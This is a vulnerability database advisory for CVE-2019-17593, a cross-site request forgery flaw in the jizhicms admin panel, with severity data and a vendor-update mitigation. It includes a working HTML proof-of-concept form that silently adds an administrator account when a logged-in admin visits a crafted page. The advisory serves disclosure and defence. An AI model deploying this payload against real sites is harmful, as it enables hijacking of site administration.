Cross-site request forgery in jizhicms - CVE-2019-17593

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Main Vulnerability Database Vulnerabilities #VU21794

Cross-site request forgery in jizhicms - CVE-2019-17593

Published: October 15, 2019


Vulnerability identifier: #VU21794
CSH Severity: Low
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/U:Clear
CVE-ID: CVE-2019-17593
CWE-ID: CWE-352
Exploitation vector: Remote access
Exploit availability: No public exploit available
Vendor: Cheshire cat
Affected software:
jizhicms

Detailed vulnerability description

The vulnerability allows a remote attacker to perform cross-site request forgery attacks.

The vulnerability exists due to insufficient validation of the HTTP request origin in " admin.php/Admin/adminadd.html". A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website, such as add an administrator.

PoC: 

 <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://ip/admin.php/Admin/adminadd.html" method="POST">
      <input type="hidden" name="name" value="test123" />
      <input type="hidden" name="tel" value="" />
      <input type="hidden" name="email" value="" />
      <input type="hidden" name="gid" value="1" />
      <input type="hidden" name="pass" value="123456" />
      <input type="hidden" name="repass" value="123456" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="go" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

How to mitigate CVE-2019-17593

Install update from vendor's website.

Sources